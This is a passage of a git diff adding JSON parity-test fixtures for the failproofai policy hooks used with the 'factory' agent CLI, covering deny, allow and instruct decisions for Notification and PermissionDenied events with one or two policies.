"default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Notification/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/Notification/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..65a0d800 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Notification/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Notification/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/Notification/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..69d923a1 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Notification/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Notification/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/Notification/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..266d7493 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Notification/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Notification/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/Notification/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..486fe530 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Notification/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PermissionDenied/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PermissionDenied/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..1cda29b6 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionDenied/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PermissionDenied/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PermissionDenied/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..15221469 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionDenied/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PermissionDenied/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PermissionDenied/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..d3b82311 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionDenied/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PermissionDenied/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PermissionDenied/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..4e6937a5 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionDenied/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PermissionDenied/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PermissionDenied/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..0982db7a --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionDenied/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PermissionDenied/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PermissionDenied/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..a8a0d5e4 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionDenied/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PermissionDenied/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PermissionDenied/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..1f28c1c8 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionDenied/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PermissionDenied/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PermissionDenied/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..95d77c31 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionDenied/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PermissionDenied/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PermissionDenied/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..20467ab8 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionDenied/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PermissionDenied/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PermissionDenied/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..672af56c --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionDenied/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PermissionDenied/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PermissionDenied/deny__tool-present__one-policy.json new file mode 100644 index 00000000..a7c8f724 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionDenied/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PermissionDenied/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PermissionDenied/deny__tool-present__two-policies.json new file mode 100644 index 00000000..c4daa260 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionDenied/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PermissionDenied/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PermissionDenied/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..50bc55d2 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionDenied/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PermissionDenied/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PermissionDenied/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..0366113b --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionDenied/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PermissionDenied/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PermissionDenied/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..fd181f5f --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionDenied/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PermissionDenied/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PermissionDenied/instruct__tool-present__two-policies.json 